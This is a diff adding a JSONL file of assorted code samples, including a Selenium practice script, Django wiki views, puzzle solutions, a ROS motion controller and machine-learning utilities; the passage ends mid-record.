diff --git "a/5736.jsonl" "b/5736.jsonl" new file mode 100644--- /dev/null +++ "b/5736.jsonl" @@ -0,0 +1,662 @@ +{"seq_id":"464943014","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as ec\nfrom selenium.webdriver.support.ui import Select\nimport time\n\ndriver = webdriver.Firefox()\ndriver.maximize_window()\ndriver.implicitly_wait(5)\ndriver.get(\"http://testautomationpractice.blogspot.com/\")\n\n# Search results box\ndriver.find_element_by_id(\"Wikipedia1_wikipedia-search-input\").clear()\ndriver.find_element_by_id(\"Wikipedia1_wikipedia-search-input\").send_keys(\"Metallica\")\ndriver.find_element_by_class_name(\"wikipedia-search-button\").click()\n\nwait = WebDriverWait(driver, 10)\n\nelement = wait.until(ec.element_to_be_clickable((By.CLASS_NAME, \"wikipedia-search-results\")))\nif element.is_displayed():\n print(len(element.find_elements(By.CSS_SELECTOR, \"#wikipedia-search-result-link > a\")))\n # Print the primary search results\n for searchresult in element.find_elements(By.CSS_SELECTOR, \"#wikipedia-search-result-link > a\"):\n print(searchresult.text)\n\n# count of text boxes\n\nprint(len(driver.find_elements(By.CLASS_NAME, \"text_field\")))\n\n# selecting drop down value\n\ndropdownelement = Select(driver.find_element_by_id(\"products\"))\ndropdownelement.select_by_value(\"Yahoo\")\ndropdownelement.select_by_index(3)\n\nfor option in dropdownelement.options:\n print(option.text)\n\n# radio button\nradioButtons = driver.find_elements_by_css_selector(\"input[type='radio']\")\nprint(len(radioButtons))\nfor button in radioButtons:\n if not(button.is_selected()):\n button.click()\n\n# check boxes\ncheckboxes = driver.find_elements_by_css_selector(\"input[type='checkbox']\")\nprint(len(checkboxes))\nfor checkbox in checkboxes:\n checkbox.click()\n# /preceding-sibling::input[@type='radio']\")\n# print(radioButtonMale.is_selected())\n# //*[@id=\"q26\"]/table/tbody/tr[1]/td/label\n\n# #q26 > table > tbody > tr:nth-child(1) > td > label\n\ndriver.find_element_by_xpath(\"//button[text()='Click Me']\").click()\ndriver.switch_to_alert().accept()\n\n# tables\ntableElement = driver.find_element_by_name(\"BookTable\")\n# no of rows in table\nprint(len(tableElement.find_elements_by_tag_name(\"tr\")))\n\n# printing all contents of table\n\nfor row in tableElement.find_elements_by_tag_name(\"tr\"):\n for column in row.find_elements_by_tag_name(\"td\"):\n print(column.text + \" \")\n print(\"\\n\")\n'''\ndriver.get(\"https://selenium.dev/selenium/docs/api/java/index.html\")\n\n\ndriver.switch_to.frame(\"packageListFrame\")\ndriver.find_element_by_link_text(\"org.openqa.selenium.firefox\").click()\ntime.sleep(3)\n\ndriver.switch_to.default_content()\n\ndriver.switch_to.frame(\"packageFrame\")\ndriver.find_element_by_link_text(\"FirefoxProfile\")\ntime.sleep(3)\n\ndriver.switch_to.default_content()\n\ndriver.switch_to.frame(\"classFrame\")\ndriver.find_element_by_link_text(\"OVERVIEW\")\n\ndriver.quit()\n'''\n","sub_path":"practice/UIOperations.py","file_name":"UIOperations.py","file_ext":"py","file_size_in_byte":2977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"579067113","text":"\n\nfrom xai.brain.wordbase.nouns._crew import _CREW\n\n#calss header\nclass _CREWED(_CREW, ):\n\tdef __init__(self,): \n\t\t_CREW.__init__(self)\n\t\tself.name = \"CREWED\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"crew\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_crewed.py","file_name":"_crewed.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"366506315","text":"# Create your views here.\nfrom models import Article\nfrom django.shortcuts import get_object_or_404, render_to_response\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.template import Template, Context, RequestContext\nfrom django.template.loader import get_template\nimport re,string\nfrom wikify import content_to_html, html_to_content\n\ndef show_article(request, name):\n if Article.exists(name):\n # the article already exists, we show it\n article = Article.getByName(name)\n\n # Or you can use following statement to get the article without using class method\n #article = Article.objects.get(name=name)\n else:\n # the article does not exists, we let the user create it\n return edit_article(request, name)\n\n # convert {{WikiWords}} to HTML links\n content_in_html = content_to_html(article.content)\n\n # load template from a file\n t = get_template(\"show.html\")\n # merge the template with the data from the article\n html = t.render(Context({'name': article.name, 'content': content_in_html}))\n # create a response object and return it\n return HttpResponse(html)\n\ndef show_home(request):\n # / points to the \"Home\" article\n return show_article(request, \"Home\")\n\ndef edit_article(request, name):\n if Article.exists(name):\n # find an existing article\n article = Article.getByName(name)\n else:\n # create a new article\n article = Article(name)\n\n if request.method == \"POST\" and request.POST.has_key(\"content\"):\n # a valid POST request: save the new contents of the article\n # Always clean the input from the user\n article.content = html_to_content(request.POST[\"content\"])\n article.save()\n # Always redirect after a successful POST request\n return HttpResponseRedirect('/wiki/' + article.name)\n else:\n # a GET request or a POST request using the worng form: show the form\n return render_to_response(\"edit.html\",\n {'name': article.name, 'content': article.content},\n context_instance=RequestContext(request)\n )\n","sub_path":"wiki/wikiapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"357826221","text":"\na = 100\nb = 100\ndizi_polindrom = []\nfor a in range(100,1000):\n for b in range(100,1000):\n carpim = int(a * b)\n toplam = int(a + b)\n dizi = list(str(carpim))\n if carpim > 99999:\n if(dizi[0] == dizi[5] and dizi[1] == dizi[4] and dizi[2] == dizi[3]):\n print(\"Bu polindrom bir sayıdır :\", carpim)\n dizi_polindrom.append(carpim)\n print(\"Şu anda en büyük polindrom sayı :\", max(dizi_polindrom))\n \n\n \n","sub_path":"Soru 4/Project Euler Soru 4.py","file_name":"Project Euler Soru 4.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"179361081","text":"def manhattan_distance(coord1, coord2):\n return abs(coord1[0] - coord2[0]) + abs(coord1[1] - coord2[1])\n\n\ndef get_closest_coord(x, y, coords):\n closest = sorted([(manhattan_distance((x, y), coord), coord) for coord in coords])\n if closest[0][0] == closest[1][0]:\n return None\n else:\n return closest[0][1]\n\n\ndef get_tot_distance(x, y, coords):\n return sum([manhattan_distance((x, y), coord) for coord in coords])\n\n\ndef remove_offset(coords):\n min_x = min(c[0] for c in coords)\n min_y = min(c[1] for c in coords)\n\n return [(c[0] - min_x, c[1] - min_y) for c in coords]\n\n\ndef remove_edge_coords(allocations):\n min_x = min(c[0] for c in list(allocations.keys()))\n max_x = max(c[0] for c in list(allocations.keys()))\n min_y = min(c[1] for c in list(allocations.keys()))\n max_y = max(c[1] for c in list(allocations.keys()))\n return {k: v for k, v in allocations.items() if min_x < k[0] < max_x and min_y < k[1] < max_y}\n\n\ndef get_regions(coords, max_distance):\n max_x = max(c[0] for c in coords)\n max_y = max(c[1] for c in coords)\n\n size_of_region_within_given_distance = 0\n\n regions = {k: 0 for k in coords}\n for y in range(max_y + 1):\n for x in range(max_x + 1):\n\n closest = get_closest_coord(x, y, coords)\n if closest:\n regions[closest] += 1\n\n if get_tot_distance(x, y, coords) < max_distance:\n size_of_region_within_given_distance += 1\n\n return regions, size_of_region_within_given_distance\n\n\nif __name__ == '__main__':\n coords = []\n with open('../../data/day6.txt') as f:\n for line in f:\n coord = line.strip().split(',')\n coords.append(tuple([int(c) for c in coord]))\n\n coords = remove_offset(coords)\n regions, size_of_region_within_given_distance = get_regions(coords, 10000)\n regions = remove_edge_coords(regions)\n largest_region = max(regions.values())\n\n print('Size of argest area: {}'.format(largest_region))\n print('Size of area with total distance less than 10000: {}'.format(size_of_region_within_given_distance))\n","sub_path":"src/main/day6_chronal_coordinates.py","file_name":"day6_chronal_coordinates.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"582510318","text":"\"\"\"\nThe justification is greedy - as many words as possible in a single line,\nsome text define in 'words' variable, length line define in 'maximum_width' variable\nSpaces between words distributed maximum evenly.\nThe last line aligned left with no additional spaces.\n\"\"\"\n\nwords = \"some text here to check the action of our algorithm\"\nmaximum_width = 16\n\narr = words.split()\nnew_arr = []\nnew_str = ''\n\nfor word in arr:\n if len(new_str) < maximum_width:\n temp_str = new_str + word\n if len(temp_str) < maximum_width:\n new_str = temp_str\n if len(new_str) < maximum_width:\n new_str += ' '\n else:\n new_arr.append(new_str)\n new_str = word + ' '\n else:\n new_arr.append(new_str)\n new_str = word + ' '\nelse:\n new_arr.append(new_str)\n\nfor el in new_arr:\n if el != new_arr[-1]:\n trim_str = el.strip()\n space_count = trim_str.count(' ')\n needed_space = maximum_width - len(trim_str)\n space_str = ' '\n new_space_str = ' '\n\n while len(trim_str) < maximum_width:\n trim_str = trim_str.replace(space_str, new_space_str, needed_space)\n needed_space = maximum_width - len(trim_str)\n space_str += ' '\n new_space_str += ' '\n print(trim_str)\n else:\n el = el.strip()\n print(el)\n","sub_path":"str_length.py","file_name":"str_length.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"79081965","text":"#!/usr/bin/env python\n# coding=utf-8\n\"\"\"\n底盘移动控制软件\n\nCopyright (c) 2017 Xu Zhihao (Howe). All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\n\nThis programm is tested on kuboki base turtlebot.\n\n\"\"\"\nimport rospy\nimport numpy\nfrom PlanAlgrithmsLib import CVlib\nfrom PlanAlgrithmsLib import maplib\nimport collections\nfrom nav_msgs.msg import Path\nfrom geometry_msgs.msg import Twist\nfrom geometry_msgs.msg import PoseStamped\nfrom std_msgs.msg import ColorRGBA\nfrom geometry_msgs.msg import Point\nfrom visualization_msgs.msg import Marker\nfrom threading import Lock\nfrom geometry_msgs.msg import Quaternion\nfrom std_msgs.msg import String\n\nTasks = list()\ncmd_queue = None\nswitcher = False\n\nclass ClearParams:\n def __init__(self):\n rospy.delete_param('~SwitchModleTopic')\n rospy.delete_param('~PlanTopicFixed')\n rospy.delete_param('~PlanTopicOnce')\n\n rospy.delete_param('~OdomTopic')\n rospy.delete_param('~MotionTopice')\n\n rospy.delete_param('~PathAcc')\n rospy.delete_param('~MaxLinearSP')\n rospy.delete_param('~MinLinearSP')\n rospy.delete_param('~AngularSP')\n\n rospy.delete_param('~AngularBias')\n rospy.delete_param('~AngularFree')\n rospy.delete_param('~PublishFrequency')\n rospy.delete_param('~GoalTolerant')\n\nclass BaseController:\n def __init__(self):\n self.define()\n rospy.Subscriber(self.OdomTopic, PoseStamped, self.OdomCB)\n rospy.Subscriber(self.PlanTopicFixed, Path, self.PlanFixedCB)\n rospy.Subscriber(self.PlanTopicOnce, Path, self.PlanOnceCB)\n rospy.Subscriber(self.SwitchModleTopic, String, self.SwitchCB)\n rospy.Timer(self.period, self.PubcmdCB)\n rospy.spin()\n\n def define(self):\n # parameters\n if not rospy.has_param('~SwitchModleTopic'):\n rospy.set_param('~SwitchModleTopic', '/move_base/switch')\n self.SwitchModleTopic = rospy.get_param('~SwitchModleTopic')\n\n if not rospy.has_param('~PlanTopicFixed'):\n rospy.set_param('~PlanTopicFixed', '/move_base/action_plan/fixed')\n self.PlanTopicFixed = rospy.get_param('~PlanTopicFixed')\n\n if not rospy.has_param('~PlanTopicOnce'):\n rospy.set_param('~PlanTopicOnce', '/move_base/action_plan/once')\n self.PlanTopicOnce = rospy.get_param('~PlanTopicOnce')\n\n if not rospy.has_param('~OdomTopic'):\n rospy.set_param('~OdomTopic', '/robot_position_in_map')\n self.OdomTopic = rospy.get_param('~OdomTopic')\n\n if not rospy.has_param('~MotionTopice'):\n # cmd_vel_mux/input/navi #/navigation_velocity_smoother/raw_cmd_vel\n rospy.set_param('~MotionTopice', 'cmd_vel_mux/input/smoother')\n self.MotionTopice = rospy.get_param('~MotionTopice')\n\n # how accuracy the robot will attemped to move to next path goal\n if not rospy.has_param('~PathAcc'):\n rospy.set_param('~PathAcc', 0.5)\n self.PathAcc = rospy.get_param('~PathAcc')\n\n if not rospy.has_param('~MaxLinearSP'):\n rospy.set_param('~MaxLinearSP', 0.4)\n self.MaxLinearSP = rospy.get_param('~MaxLinearSP')\n\n if not rospy.has_param('~MinLinearSP'):\n rospy.set_param('~MinLinearSP', 0.1)\n self.MinLinearSP = rospy.get_param('~MinLinearSP')\n\n if not rospy.has_param('~AngularSP'):\n rospy.set_param('~AngularSP', 0.3)\n self.AngularSP = rospy.get_param('~AngularSP')\n\n if not rospy.has_param('~AngularBias'):\n rospy.set_param('~AngularBias', 0.3)\n self.AngularBias = rospy.get_param('~AngularBias')\n\n if not rospy.has_param('~AngularFree'):\n rospy.set_param('~AngularFree', 0.1745)\n self.AngularFree = rospy.get_param('~AngularFree')\n\n if not rospy.has_param('~PublishFrequency'):\n rospy.set_param('~PublishFrequency', 0.01) #100hz\n self.PublishFrequency = rospy.get_param('~PublishFrequency')\n\n if not rospy.has_param('~GoalTolerant'):\n rospy.set_param('~GoalTolerant', 0.01)\n self.GoalTolerant = rospy.get_param('~GoalTolerant')\n\n self.path = []\n\n self.period = rospy.Duration(self.PublishFrequency)\n\n self.locker = Lock()\n\n self.cmd_vel = Twist()\n\n def SwitchCB(self, signal):\n global switcher\n if signal.data == 'FixedModule':\n rospy.logwarn('Switch to FixedModule')\n switcher = False\n elif signal.data == 'OnePathModule':\n rospy.logwarn('Switch to OnePathModule')\n switcher = True\n\n def OdomCB(self, odom):\n global Tasks\n cur_pose = odom.pose\n if Tasks != []:\n cur_goal = Tasks[0]\n if abs(round(cur_pose.position.x - cur_goal.x, 2)) <= self.GoalTolerant and abs(round(cur_pose.position.y - cur_goal.y, 2)) <= self.GoalTolerant:\n Tasks.remove(cur_goal)\n rospy.loginfo('arrive goal')\n self.cmd_vel = Twist()\n else:\n self.count_cmds(cur_pose, cur_goal)\n\n def count_cmds(self, cur_pose, cur_goal):\n Diff_x = round(cur_goal.x - cur_pose.position.x, 2)\n Diff_y = round(cur_goal.y - cur_pose.position.y, 2)\n cur_angle = CVlib.GetAngle(cur_pose.orientation)\n self.Vector(Diff_x, Diff_y, cur_angle)\n\n def Vector(self, Diff_x, Diff_y, cur_angle):\n goal_linear = numpy.sqrt(Diff_x**2 + Diff_y**2)\n cmd_vector = Twist()\n # anglar\n if Diff_x > 0 and Diff_y > 0:\n goal_angle = numpy.arctan(Diff_y/Diff_x)\n elif Diff_x < 0 and Diff_y >0:\n goal_angle = numpy.pi + numpy.arctan(Diff_y/Diff_x)\n elif Diff_x < 0 and Diff_y < 0:\n goal_angle = -numpy.pi + numpy.arctan(Diff_y/Diff_x)\n elif Diff_x > 0 and Diff_y < 0:\n goal_angle = numpy.arctan(Diff_y/Diff_x)\n elif Diff_x == 0 and Diff_y != 0:\n if Diff_y > 0:\n goal_angle = numpy.pi/2.0\n elif Diff_y <0:\n goal_angle = -numpy.pi/2.0\n else:\n rospy.logerr('error type 1')\n elif Diff_y == 0 and Diff_x != 0:\n if Diff_x > 0:\n goal_angle = 0.0\n elif Diff_x < 0:\n goal_angle = -numpy.pi\n else:\n rospy.logerr('error type 2')\n elif Diff_y == 0 and Diff_x == 0:\n cmd_vector.linear.x = 0.0\n cmd_vector.angular.z = 0.0\n rospy.logwarn('Diff_x Diff_y ==0')\n else:\n rospy.logerr('unkown ')\n angle_cmd = round(goal_angle - cur_angle, 3)\n if angle_cmd > numpy.pi:\n angle_cmd = -numpy.pi*2 + angle_cmd\n if angle_cmd < -numpy.pi:\n angle_cmd = numpy.pi * 2 + angle_cmd\n cmd_vector.angular.z = round(angle_cmd, 2)\n cmd_vector.linear.x = round(goal_linear, 3)\n global cmd_queue\n cmd_queue = cmd_vector\n\n def AngularDrift(self, Diff_x, Diff_y):\n\n x_drift = Diff_x\n y_drift = Diff_y\n angular_drift = numpy.arcsin(y_drift / numpy.sqrt(x_drift ** 2 + y_drift ** 2))\n\n if x_drift > 0 and y_drift < 0:\n angular_drift = angular_drift\n\n if x_drift > 0 and y_drift > 0:\n angular_drift = angular_drift\n\n if x_drift < 0 and y_drift < 0:\n angular_drift = -angular_drift - numpy.pi\n\n if x_drift < 0 and y_drift > 0:\n angular_drift = numpy.pi - angular_drift\n\n return angular_drift\n\n def GoalOrientation(self, theta):\n orientation = Quaternion()\n\n if -numpy.pi < theta < -numpy.pi * 2.0 / 3.0:\n orientation.z = -numpy.sin(theta / 2.0)\n orientation.w = -numpy.cos(theta / 2.0)\n\n else:\n orientation.z = numpy.sin(theta / 2.0)\n orientation.w = numpy.cos(theta / 2.0)\n\n return orientation\n\n def PlanFixedCB(self, PlanPath):\n global switcher\n if not switcher:\n self.path = []\n self.path = PlanPath.poses\n global Tasks\n Tasks = list()\n segment = [i.pose.position for i in self.path]\n if len(segment) >= 2:\n Tasks = self.linear_analyse(segment)\n\n def PlanOnceCB(self, PlanPath):\n global switcher\n if switcher:\n self.path = []\n self.path = PlanPath.poses\n global Tasks\n Tasks = list()\n segment = [i.pose.position for i in self.path]\n if len(segment) >= 2:\n Tasks = self.linear_analyse(segment)\n\n def PubcmdCB(self, data):\n global cmd_queue\n cmd = Twist()\n if cmd_queue != None:\n self.cmd_vel = cmd_queue\n cmd_queue = None\n cmd_pub = rospy.Publisher(self.MotionTopice, Twist, queue_size=1)\n if self.cmd_vel != Twist():\n if abs(self.cmd_vel.angular.z) > self.AngularBias:\n if abs(self.cmd_vel.angular.z) < numpy.pi:\n if self.cmd_vel.angular.z > 0:\n cmd.angular.z = self.AngularSP\n else:\n cmd.angular.z = -self.AngularSP\n else:\n if self.cmd_vel.angular.z > numpy.pi:\n cmd.angular.z = -self.AngularSP\n else:\n cmd.angular.z = self.AngularSP\n cmd_pub.publish(cmd)\n else:\n # print '= self.PathAcc:\n cmd.linear.x = self.MaxLinearSP\n else:\n if self.cmd_vel.linear.x > self.MinLinearSP:\n cmd.linear.x = self.MinLinearSP\n else:\n cmd.linear.x = self.cmd_vel.linear.x\n else:\n if self.cmd_vel.linear.x >= self.PathAcc:\n cmd.linear.x = self.MinLinearSP\n else:\n if self.cmd_vel.linear.x >= self.GoalTolerant:\n cmd.linear.x = self.cmd_vel.linear.x\n else:\n cmd.linear.x = 0\n else:\n rospy.logerr('both linear and angular input is zero!')\n cmd_pub.publish(cmd)\n\n def linear_analyse(self, points):\n nodes = CVlib.Linear_analyse(points)\n return nodes\n","sub_path":"Xbot/src/nav_staff/src/X_controller.py","file_name":"X_controller.py","file_ext":"py","file_size_in_byte":10801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"506148663","text":"'''\n\nUtils functions for the main programme\nGaussian Mixture Variational Autoencoder\n\n'''\n\nimport argparse\nfrom bunch import Bunch\nimport os\n\n\ndef check_args(args):\n '''\n\tThis method check that the values that are provided are correct\n\t'''\n try:\n assert args.epochs >= 1\n except:\n print('number of epochs must be larger than or equal to one')\n\n # --batch_size\n try:\n assert args.batch_size >= 1\n except:\n print('batch size must be larger than or equal to one')\n\n # --z_dim\n try:\n assert args.z_dim >= 1\n except:\n print('dimension of noise vector must be larger than or equal to one')\n\n try:\n assert args.restore == 0 or args.restore == 1\n except:\n print('restore flag must be 0 or 1')\n\n try:\n assert args.cuda == 0 or args.cuda == 1\n except:\n print('cuda flag must be 0 or 1')\n\n try:\n assert args.remove == 0 or args.remove == 1\n except:\n print('remove flag must be 0 or 1')\n\n try:\n assert args.verbose == 0 or args.verbose == 1\n except:\n print('verbose flag must be 0 or 1')\n\n return args\n\n\ndef get_args():\n ## Input Parameters\n parser = argparse.ArgumentParser(description='PyTorch Implementation of CGMVAE')\n\n # Dataset\n parser.add_argument('--name_extension', type=str, default='2020-01-26 10:59:52',\n help='Pattern to be found to obtain the data (default: 2020-01-26 10:59:52)')\n parser.add_argument('--dataset_name', type=str, default='dataset13_2020-01-26_10:59:52',\n help='Dataset used (from the seq2seq) for obtaining the data (default: dataset12)')\n parser.add_argument('--dataroot', type=str, default='./data/4_decoder_context/',\n help='Root to load dataset (default: ./data/3_decoder_output_enc/)')\n parser.add_argument('--train_dataroot', type=str,\n default='../TransformersNLP/results/dataset13/bert_base_retrained_dataset13/lastHiddenState_30000_train.hdf5',\n help='Root to load dataset')\n parser.add_argument('--test_dataroot', type=str,\n default='../TransformersNLP/results/dataset13/bert_base_retrained_dataset13/lastHiddenState_1000_test.hdf5',\n help='Root to load dataset ')\n\n # GPU\n parser.add_argument('--cuda', type=int, default=0, help='use of cuda (default: 1)')\n parser.add_argument('--device', type=int, default=0, help='set gpu device to use (default: 0)')\n\n # Training\n parser.add_argument('--epochs', type=int, default=100,\n help='Number of epochs for training each bunch of data (default: 200)')\n parser.add_argument('--batch_size', type=int, default=64,\n help='Size of the mini-batch used on each iteration (default: 64)')\n parser.add_argument('--l_rate', type=float, default=1e-5,\n help='Learning rate of the optimization function (default: 0.000001)')\n parser.add_argument('--dropout', type=float, default=0.3, help='Dropout rate in the training (default: 0.3)')\n parser.add_argument('--weight_decay', type=float, default=0,\n help='weight decay in the training optimizer (default: 00)')\n\n # Architecture\n parser.add_argument('--hidden_dim', type=int, default=1500,\n help='Number of neurons of each dense layer (default: 1500)')\n parser.add_argument('--sigma', type=float, default=1e-2,\n help='Parameter that defines the variance of the output Gaussian distribution (default: 0.0001)')\n parser.add_argument('--z_dim', type=int, default=150, help='Dimension of the latent variable z (default: 150)')\n parser.add_argument('--w_dim', type=int, default=50, help='Dimension of the latent variable w (default: 50)')\n parser.add_argument('--K', type=int, default=20, help='Number of modes of the latent variable z (default: 20)')\n parser.add_argument('--layers', type=int, default=6, help='Number of layers in the networks (default: 3)')\n\n # Results\n parser.add_argument('--remove', type=int, default=1, help='Remove old checkpoint files (default: 0)')\n parser.add_argument('--checkpoint_dir', type=str, default='checkpoints',\n help='Directory name to save the checkpoints (default: checkpoint)')\n parser.add_argument('--result_dir', type=str, default='results',\n help='Directory name to save the generated sentences (default: results)')\n parser.add_argument('--board_dir', type=str, default='summary',\n help='Directory name to save in tensorboard (default: summary)')\n\n # Others\n parser.add_argument('--train', type=int, default=0, help='Flag to set train (default: 1)')\n parser.add_argument('--summary', type=int, default=1, help='Flag to set TensorBoard summary (default: 1)')\n parser.add_argument('--plot', type=int, default=0, help='Flag to plot training curves (default: 0)')\n parser.add_argument('--restore', type=int, default=0, help='Flag to restore model (default: 0)')\n parser.add_argument('--results', type=int, default=0, help='Flag to get results (default: 0)')\n parser.add_argument('--verbose', type=int, default=1, help='print extra information at every epoch (default: 1)')\n parser.add_argument('--extra', type=str, default='', help='Extra name to identify the model (default: '')')\n parser.add_argument('--step_restore', type=int, default=200, help='Global step to be loaded (default: 200)')\n parser.add_argument('--checkpoint_step', type=int, default=10, help='Every step the model is saved (default: 10)')\n parser.add_argument('--option', type=int, default=1, help='seq2seq option (default: 1)')\n\n args = parser.parse_args()\n\n return check_args(args)\n\n\ndef get_model_name(config):\n model_name = 'GMVAE_' + \\\n str(config.option) + '_' + \\\n str(config.sigma).replace('.', '') + '_' + \\\n str(config.z_dim) + '_' + \\\n str(config.w_dim) + '_' + \\\n str(config.K) + '_' + \\\n str(config.hidden_dim) + '_' + \\\n str(config.layers) + '_' + \\\n str(config.dropout).replace('.', '') + '_' + \\\n str(config.l_rate).replace('.', '')\n return model_name\n\n\ndef get_config_and_flags(args):\n config = Bunch(args)\n\n config.model_name = get_model_name(config)\n\n if (config.extra is not ''):\n config.model_name += '_' + config.extra\n\n config.board_dir = os.path.join(\"experiments/\" + config.dataset_name + '/' + config.board_dir + \"/\",\n config.model_name)\n config.checkpoint_dir = os.path.join(\"experiments/\" + config.dataset_name + '/' + config.checkpoint_dir + \"/\",\n config.model_name)\n config.result_dir = os.path.join(\"experiments/\" + config.dataset_name + '/' + config.result_dir + \"/\",\n config.model_name)\n\n flags = Bunch()\n flags.train = args['train']\n flags.summary = args['summary']\n flags.restore = args['restore']\n flags.verbose = args['verbose']\n flags.results = args['results']\n\n return config, flags\n\n\ndef create_dirs(dirs):\n '''\n\tdirs - a list of directories to create if these directories are not found\n\t:param dirs:\n\t:return exit_code: 0:success -1:failed\n\t'''\n try:\n for dir_ in dirs:\n if not os.path.exists(dir_):\n os.makedirs(dir_)\n return 0\n except Exception as err:\n print(\"Creating directories error: {0}\".format(err))\n exit(-1)\n\n\ndef save_args(args, board_dir):\n my_file = board_dir + '/' + 'my_args.txt'\n args_string = str(args).replace(', ', ' --')\n with open(my_file, 'a+') as file_:\n file_.write(args_string)\n\n\ndef plot_results(images, N, text_title=''):\n import matplotlib.pyplot as plt\n\n fig = plt.figure()\n fig.suptitle(text_title, fontsize=16)\n for i in range(N):\n plt.subplot(2, 5, i + 1)\n plt.imshow(images[i, :, :], cmap='gray')\n plt.show()\n","sub_path":"GMVAE/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"83782755","text":"#!/usr/bin/python3\n\nimport sys\nimport re\n\nf = open(sys.argv[1],\"r\")\nfor line in f:\n\tfields = line.split(\"\\t\")\n\tlocus = re.split(\"[:-]\",fields[int(sys.argv[2])])\n\tif len(locus) == 3:\n\t\tif locus[0] == \"13\" and int(locus[1]) > 129100000 and int(locus[2]) < 129400000:\n\t\t\tprint(line,end=\"\")\nf.close()\n","sub_path":"getrnabyloc.py","file_name":"getrnabyloc.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"266629558","text":"from django.conf.urls import url\nfrom missions import views\n\nurlpatterns = [\n url(r'^customer/$', views.CustomerView.as_view(), name='customer_signup'),\n url(r'^mission/$', views.MissionView.as_view(), name='mission_signup'),\n url(r'^report/$', views.ReportView.as_view(), name='report_signup'),\n url(r'^customer_list/$', views.customer_list, name='customer_list'),\n url(r'^customer/(?P[0-9]+)/$',views.CustomersUpdateView.as_view(), name='customer_update'),\n \n ]","sub_path":"missions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"607132167","text":"# -*- coding:utf-8 -*-\nimport pandas as pd\nimport numpy as np\nfrom collections import OrderedDict\n\ncsv = input(\"読み込むｃｓｖファイルを入力してください。 : \")\ntable = pd.read_csv(csv, encoding='utf-8')\n# カラムリスト作成\nitems = []\nfor i in range(1, len(table.columns)):\n items.append(table.columns[i:i+1][0])\n\ntaste_dict = OrderedDict()\nfor item in items:\n item_taste = []\n for i in range(len(items)):\n item_taste.append(table[item][i])\n taste_dict[item] = item_taste\n\n# 趣向データのベクトル化\nall_vector = OrderedDict()\nfor i in range(len(taste_dict)):\n taste_vector = []\n for key in taste_dict.keys():\n vector = 0\n for j in range(len(taste_dict[key])):\n if taste_dict[list(taste_dict.keys())[i]][j] == taste_dict[key][j] and taste_dict[list(taste_dict.keys())[i]][j] == 1:\n vector += 1\n taste_vector.append(vector)\n all_vector[list(taste_dict.keys())[i]] = taste_vector\ndf_vector = pd.DataFrame(all_vector, index=all_vector.keys())\ndf_vector.to_csv('vector_' + csv, encoding='utf-8')\n\n# 趣向ベクトルからコサイン類似度を算出\ncosine_similarity = OrderedDict()\nfor i, key in enumerate(all_vector.keys()):\n vector = []\n q_vector = np.linalg.norm(all_vector[key])\n for nan_times in range(i):\n vector.append(np.nan)\n for j in range(i, len(all_vector)):\n r_vector = np.linalg.norm(list(all_vector.values())[j])\n qr_vector = np.dot(all_vector[key], list(all_vector.values())[j])\n vector.append(round(qr_vector/(q_vector*r_vector), 2))\n cosine_similarity[key] = vector\n\ndf = pd.DataFrame(cosine_similarity)\ndf = df.T\ndf.columns = cosine_similarity.keys()\ndf.to_csv('similarity_' + csv, encoding='utf-8')","sub_path":"cosine_similarity.py","file_name":"cosine_similarity.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"561746437","text":"import ast\n\nwith open(\"qa_new.txt\", \"r\") as file: # open file with the questions and answers for the chatbot\n gesamt = [line.strip() for line in file]\n\ngesamt = [ast.literal_eval(elem) for elem in gesamt] # convert string to dictionary\n\nfragen = [elem[\"question\"] for elem in gesamt]\nantw = [elem[\"answer\"] for elem in gesamt]\nretr_intent = \"faq\"\n\nres_a = \"\" # string that will be written into nlu.yml\nres_b = \"\" # string that will be written into domain.yml\n\n# bring questions in appropriate format for nlu.yml\nfor index, frage in enumerate(fragen):\n res_a += \"\\n\" + \\\n f\"- intent: {retr_intent}/{index}\" + \\\n \"\\n\" + \\\n \" examples: |\" + \\\n \"\\n\" + \\\n f\" - {frage}\" + \\\n \"\\n\"\n\nwith open(\"data/nlu.yml\", \"a\") as f:\n f.write(res_a)\n\n\n# bring answers in appropriate format for domain.yml\nfor index, antwort in enumerate(antw):\n # antwort = f\"{antwort}\"\n res_b += \"\\n\" + \\\n f\" utter_{retr_intent}/{index}:\" + \\\n \"\\n\" + \\\n f\" - text: \\\"{antwort}\\\"\" + \\\n \"\\n\"\n\nwith open(\"domain.yml\", \"a\") as f:\n f.write(res_b)\n","sub_path":"transfer.py","file_name":"transfer.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"574632719","text":"from lib.cpf import *\nfrom 